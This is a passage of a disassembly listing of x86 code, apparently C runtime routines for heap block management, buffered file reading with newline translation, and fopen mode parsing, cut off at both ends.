ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E96F push 3Fh pop esi loc_41E96F: ; CODE XREF: sub_41E7CD+19Dj cmp esi, edi jz loc_41EA84 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E9E0 cmp edi, 20h jge short loc_41E9AF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E9DD mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E9E0 ; --------------------------------------------------------------------------- loc_41E9AF: ; CODE XREF: sub_41E7CD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E9DD mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E9E0 ; --------------------------------------------------------------------------- loc_41E9DD: ; CODE XREF: sub_41E7CD+1D6j ; sub_41E7CD+203j mov ebx, [ebp+arg_0] loc_41E9E0: ; CODE XREF: sub_41E7CD+1B0j ; sub_41E7CD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41EA90 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EA81 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41EA52 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EA40 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41EA40: ; CODE XREF: sub_41E7CD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41EA81 ; --------------------------------------------------------------------------- loc_41EA52: ; CODE XREF: sub_41E7CD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EA6B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41EA6B: ; CODE XREF: sub_41E7CD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41EA81: ; CODE XREF: sub_41E7CD+24Ej ; sub_41E7CD+283j mov ecx, [ebp+var_8] loc_41EA84: ; CODE XREF: sub_41E7CD+1A4j test ecx, ecx jz short loc_41EA93 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41EA93 ; --------------------------------------------------------------------------- loc_41EA90: ; CODE XREF: sub_41E7CD+229j mov ecx, [ebp+var_8] loc_41EA93: ; CODE XREF: sub_41E7CD+2B9j ; sub_41E7CD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41EAC9 cmp ebx, dword_4DAD94 jnz short loc_41EAC9 mov ecx, [ebp+var_4] cmp ecx, dword_4DAD8C jnz short loc_41EAC9 and dword_4DAD94, 0 loc_41EAC9: ; CODE XREF: sub_41E7CD+2E0j ; sub_41E7CD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41EAD1: ; CODE XREF: sub_41E7CD+F0j pop edi pop esi pop ebx leave retn sub_41E7CD endp ; =============== S U B R O U T I N E ======================================= sub_41EAD6 proc near ; CODE XREF: sub_41E7CD+CCp mov eax, dword_4DAD98 mov ecx, dword_4DAD88 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EB19 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DAD9C push edi push dword_4DADA0 nop call near ptr 2870000h cmp eax, edi jz short loc_41EB69 add dword_4DAD88, 10h mov dword_4DAD9C, eax mov eax, dword_4DAD98 loc_41EB19: ; CODE XREF: sub_41EAD6+11j mov ecx, dword_4DAD9C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DADA0 lea esi, [ecx+eax*4] call near ptr 27E0000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41EB69 push 4 push 2000h push 100000h push edi nop call near ptr 2660BD9h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EB6D push dword ptr [esi+10h] push edi push dword_4DADA0 call near ptr 27D05CAh nop loc_41EB69: ; CODE XREF: sub_41EAD6+30j ; sub_41EAD6+67j xor eax, eax jmp short loc_41EB84 ; --------------------------------------------------------------------------- loc_41EB6D: ; CODE XREF: sub_41EAD6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DAD98 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EB84: ; CODE XREF: sub_41EAD6+95j pop edi pop esi retn sub_41EAD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB87 proc near ; CODE XREF: sub_41E7CD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EB99: ; CODE XREF: sub_41EB87+19j test eax, eax jl short loc_41EBA2 shl eax, 1 inc ebx jmp short loc_41EB99 ; --------------------------------------------------------------------------- loc_41EBA2: ; CODE XREF: sub_41EB87+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EBB7: ; CODE XREF: sub_41EB87+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EBB7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 2660BD9h nop test eax, eax jnz short loc_41EBEA or eax, 0FFFFFFFFh jmp loc_41EC7D ; --------------------------------------------------------------------------- loc_41EBEA: ; CODE XREF: sub_41EB87+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EC30 lea eax, [edi+10h] loc_41EBF7: ; CODE XREF: sub_41EB87+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EBF7 loc_41EC30: ; CODE XREF: sub_41EB87+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EC6D or [eax+4], edi loc_41EC6D: ; CODE XREF: sub_41EB87+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EC7D: ; CODE XREF: sub_41EB87+5Ej pop edi pop esi pop ebx leave retn sub_41EB87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC82 proc near ; CODE XREF: sub_41BB48+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41EE30 test bl, 1 jnz loc_41EE29 add ebx, ecx cmp esi, ebx jg loc_41EE29 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41ECF9 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41ECF9: ; CODE XREF: sub_41EC82+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41ED49 cmp ecx, 20h jnb short loc_41ED25 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41ED49 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41ED49 ; --------------------------------------------------------------------------- loc_41ED25: ; CODE XREF: sub_41EC82+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41ED49 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41ED49: ; CODE XREF: sub_41EC82+7Dj ; sub_41EC82+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41EE17 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41ED83 push 3Fh pop edi loc_41ED83: ; CODE XREF: sub_41EC82+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41EE05 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41EDDC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EDCF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41EDCF: ; CODE XREF: sub_41EC82+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41EE01 ; --------------------------------------------------------------------------- loc_41EDDC: ; CODE XREF: sub_41EC82+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EDF2 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41EDF2: ; CODE XREF: sub_41EC82+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41EE01: ; CODE XREF: sub_41EC82+158j shr edx, cl or [eax], edx loc_41EE05: ; CODE XREF: sub_41EC82+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41EE1A ; --------------------------------------------------------------------------- loc_41EE17: ; CODE XREF: sub_41EC82+E5j mov edx, [ebp+arg_4] loc_41EE1A: ; CODE XREF: sub_41EC82+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41EF70 ; --------------------------------------------------------------------------- loc_41EE29: ; CODE XREF: sub_41EC82+52j ; sub_41EC82+5Cj xor eax, eax jmp loc_41EF73 ; --------------------------------------------------------------------------- loc_41EE30: ; CODE XREF: sub_41EC82+49j jge loc_41EF70 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41EE5B push 3Fh pop esi loc_41EE5B: ; CODE XREF: sub_41EC82+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41EEEA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EE74 push 3Fh pop esi loc_41EE74: ; CODE XREF: sub_41EC82+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41EEC3 cmp esi, 20h jnb short loc_41EE9F mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41EEC0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EEC0 ; --------------------------------------------------------------------------- loc_41EE9F: ; CODE XREF: sub_41EC82+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EEC0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EEC0: ; CODE XREF: sub_41EC82+214j ; sub_41EC82+21Bj ... mov ebx, [ebp+arg_4] loc_41EEC3: ; CODE XREF: sub_41EC82+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EEEA push 3Fh pop esi loc_41EEEA: ; CODE XREF: sub_41EC82+1DDj ; sub_41EC82+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41EF67 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41EF3E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EF31 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41EF31: ; CODE XREF: sub_41EC82+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41EF63 ; --------------------------------------------------------------------------- loc_41EF3E: ; CODE XREF: sub_41EC82+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EF54 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41EF54: ; CODE XREF: sub_41EC82+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41EF63: ; CODE XREF: sub_41EC82+2BAj shr edx, cl or [eax], edx loc_41EF67: ; CODE XREF: sub_41EC82+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41EF70: ; CODE XREF: sub_41EC82+1A2j ; sub_41EC82:loc_41EE30j push 1 pop eax loc_41EF73: ; CODE XREF: sub_41EC82+1A9j pop edi pop esi pop ebx leave retn sub_41EC82 endp ; =============== S U B R O U T I N E ======================================= sub_41EF78 proc near ; CODE XREF: sub_41BA60+A9p ; sub_41C2CF+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F04C test al, 40h jnz loc_41F04C test al, 2 jz short loc_41EF9E or al, 20h mov [esi+0Ch], eax jmp loc_41F04C ; --------------------------------------------------------------------------- loc_41EF9E: ; CODE XREF: sub_41EF78+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41EFB2 push esi call sub_4238F7 pop ecx jmp short loc_41EFB7 ; --------------------------------------------------------------------------- loc_41EFB2: ; CODE XREF: sub_41EF78+2Fj mov eax, [esi+8] mov [esi], eax loc_41EFB7: ; CODE XREF: sub_41EF78+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F051 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F03B cmp eax, 0FFFFFFFFh jz short loc_41F03B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F010 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41EFF9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DAA60[edi*4] lea edi, [edi+ecx*8] jmp short loc_41EFFE ; --------------------------------------------------------------------------- loc_41EFF9: ; CODE XREF: sub_41EF78+6Bj mov edi, offset dword_43ACE0 loc_41EFFE: ; CODE XREF: sub_41EF78+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F010 or dh, 20h mov [esi+0Ch], edx loc_41F010: ; CODE XREF: sub_41EF78+62j ; sub_41EF78+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F02D mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F02D test ch, 4 jnz short loc_41F02D mov dword ptr [esi+18h], 1000h loc_41F02D: ; CODE XREF: sub_41EF78+9Fj ; sub_41EF78+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F03B: ; CODE XREF: sub_41EF78+55j ; sub_41EF78+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F04C: ; CODE XREF: sub_41EF78+Aj ; sub_41EF78+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41EF78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F051 proc near ; CODE XREF: sub_41BA60+90p ; sub_41EF78+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DAB60 jnb loc_41F22E mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DAA60h[eax*4] mov eax, dword_4DAA60[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F22E and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F106 test dl, 2 jnz short loc_41F106 test dl, 48h jz short loc_41F0C6 mov al, [eax+5] cmp al, 0Ah jz short loc_41F0C6 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F0C6: ; CODE XREF: sub_41F051+56j ; sub_41F051+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call near ptr 2710000h nop test eax, eax jnz short loc_41F119 nop call near ptr 26908A7h push 5 pop ecx cmp eax, ecx jnz short loc_41F101 mov dword_4D9714, 9 mov dword_4D9718, ecx jmp loc_41F23F ; --------------------------------------------------------------------------- loc_41F101: ; CODE XREF: sub_41F051+99j cmp eax, 6Dh jnz short loc_41F10D loc_41F106: ; CODE XREF: sub_41F051+4Cj ; sub_41F051+51j xor eax, eax jmp loc_41F242 ; --------------------------------------------------------------------------- loc_41F10D: ; CODE XREF: sub_41F051+B3j push eax call sub_420314 pop ecx jmp loc_41F23F ; --------------------------------------------------------------------------- loc_41F119: ; CODE XREF: sub_41F051+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F229 test edx, edx jz short loc_41F13E cmp byte ptr [edi], 0Ah jnz short loc_41F13E or al, 4 jmp short loc_41F140 ; --------------------------------------------------------------------------- loc_41F13E: ; CODE XREF: sub_41F051+E2j ; sub_41F051+E7j and al, 0FBh loc_41F140: ; CODE XREF: sub_41F051+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F223 loc_41F158: ; CODE XREF: sub_41F051+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F213 cmp al, 0Dh jz short loc_41F174 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F205 ; --------------------------------------------------------------------------- loc_41F174: ; CODE XREF: sub_41F051+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F192 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F189 add [ebp+arg_8], 2 jmp short loc_41F1E7 ; --------------------------------------------------------------------------- loc_41F189: ; CODE XREF: sub_41F051+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F205 ; --------------------------------------------------------------------------- loc_41F192: ; CODE XREF: sub_41F051+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2710000h nop test eax, eax jnz short loc_41F1BA call near ptr 26908A7h nop test eax, eax jnz short loc_41F201 loc_41F1BA: ; CODE XREF: sub_41F051+15Dj cmp [ebp+var_C], 0 jz short loc_41F201 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F1DC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F1E7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F205 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41F051+176j cmp edi, [ebp+arg_4] jnz short loc_41F1EC cmp [ebp+var_1], 0Ah jnz short loc_41F1EC loc_41F1E7: ; CODE XREF: sub_41F051+136j ; sub_41F051+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F204 ; --------------------------------------------------------------------------- loc_41F1EC: ; CODE XREF: sub_41F051+18Ej ; sub_41F051+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422633 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F205 loc_41F201: ; CODE XREF: sub_41F051+167j ; sub_41F051+16Dj mov byte ptr [edi], 0Dh loc_41F204: ; CODE XREF: sub_41F051+199j inc edi loc_41F205: ; CODE XREF: sub_41F051+11Ej ; sub_41F051+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F158 jmp short loc_41F223 ; --------------------------------------------------------------------------- loc_41F213: ; CODE XREF: sub_41F051+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F223 or al, 2 mov [esi], al loc_41F223: ; CODE XREF: sub_41F051+101j ; sub_41F051+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F229: ; CODE XREF: sub_41F051+DAj mov eax, [ebp+var_8] jmp short loc_41F242 ; --------------------------------------------------------------------------- loc_41F22E: ; CODE XREF: sub_41F051+12j ; sub_41F051+39j and dword_4D9718, 0 mov dword_4D9714, 9 loc_41F23F: ; CODE XREF: sub_41F051+ABj ; sub_41F051+C3j or eax, 0FFFFFFFFh loc_41F242: ; CODE XREF: sub_41F051+B7j ; sub_41F051+1DBj pop edi pop esi pop ebx leave retn sub_41F051 endp ; =============== S U B R O U T I N E ======================================= sub_41F247 proc near ; CODE XREF: sub_41BB48+106p ; sub_41BCAD+1Fp ... arg_0 = dword ptr 4 mov eax, dword_4D9794 test eax, eax jz short loc_41F25F push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F25F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F25F: ; CODE XREF: sub_41F247+7j ; sub_41F247+12j xor eax, eax retn sub_41F247 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F262 proc near ; CODE XREF: sub_41BC68+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4D9900 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F29B cmp al, 72h jz short loc_41F294 cmp al, 77h jnz loc_41F3AF mov ecx, 301h jmp short loc_41F2A0 ; --------------------------------------------------------------------------- loc_41F294: ; CODE XREF: sub_41F262+21j xor ecx, ecx or esi, 1 jmp short loc_41F2A3 ; --------------------------------------------------------------------------- loc_41F29B: ; CODE XREF: sub_41F262+1Dj mov ecx, 109h loc_41F2A0: ; CODE XREF: sub_41F262+30j or esi, 2 loc_41F2A3: ; CODE XREF: sub_41F262+37j push 1 pop edx loc_41F2A6: ; CODE XREF: sub_41F262+8Bj ; sub_41F262+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F395 cmp edx, ebx jz loc_41F395 movsx eax, al cmp eax, 54h jg short loc_41F334 jz short loc_41F324 sub eax, 2Bh jz short loc_41F30E sub eax, 19h jz short loc_41F304 sub eax, 0Eh jz short loc_41F2EF dec eax jnz loc_41F386 cmp [ebp+var_4], ebx jnz loc_41F386 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F2EF: ; CODE XREF: sub_41F262+6Fj cmp [ebp+var_4], ebx jnz loc_41F386 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F304: ; CODE XREF: sub_41F262+6Aj test cl, 40h jnz short loc_41F386 or ecx, 40h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F30E: ; CODE XREF: sub_41F262+65j test cl, 2 jnz short loc_41F386 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F324: ; CODE XREF: sub_41F262+60j mov eax, 1000h test ecx, eax jnz short loc_41F386 or ecx, eax jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F334: ; CODE XREF: sub_41F262+5Ej sub eax, 62h jz short loc_41F381 dec eax jz short loc_41F36A sub eax, 0Bh jz short loc_41F353 sub eax, 6 jnz short loc_41F386 test ch, 0C0h jnz short loc_41F386 or ch, 40h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F353: ; CODE XREF: sub_41F262+DDj cmp [ebp+var_8], ebx jnz short loc_41F386 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F36A: ; CODE XREF: sub_41F262+D8j cmp [ebp+var_8], ebx jnz short loc_41F386 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F381: ; CODE XREF: sub_41F262+D5j test ch, 0C0h jz short loc_41F38D loc_41F386: ; CODE XREF: sub_41F262+72j ; sub_41F262+7Bj ... xor edx, edx jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F38D: ; CODE XREF: sub_41F262+122j or ch, 80h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F395: ; CODE XREF: sub_41F262+4Aj ; sub_41F262+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42393B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F3B3 loc_41F3AF: ; CODE XREF: sub_41F262+25j xor eax, eax jmp short loc_41F3CD ; --------------------------------------------------------------------------- loc_41F3B3: ; CODE XREF: sub_41F262+14Bj mov eax, [ebp+arg_C] inc dword_4D98FC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F3CD: ; CODE XREF: sub_41F262+14Fj pop edi pop esi pop ebx leave retn sub_41F262 endp ; =============== S U B R O U T I N E ======================================= sub_41F3D2 proc near ; CODE XREF: sub_41BC68p mov edx, dword_4DAA40 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F443 mov ebx, dword_4D9A30 mov edi, ebx loc_41F3EE: ; CODE XREF: sub_41F3D2+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F409 test byte ptr [ecx+0Ch], 83h jz short loc_41F404 inc eax add edi, 4 cmp eax, edx jl short loc_41F3EE jmp short loc_41F443 ; --------------------------------------------------------------------------- loc_41F404: ; CODE XREF: sub_41F3D2+26j mov esi, [ebx+eax*4] jmp short loc_41F42D ; --------------------------------------------------------------------------- loc_41F409: ; CODE XREF: sub_41F3D2+20j mov edi, eax push 20h shl edi, 2 call sub_41BC9B pop ecx mov ecx, dword_4D9A30 mov [edi+ecx], eax mov eax, dword_4D9A30 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F443 mov esi, edi loc_41F42D: ; CODE XREF: sub_41F3D2+35j cmp 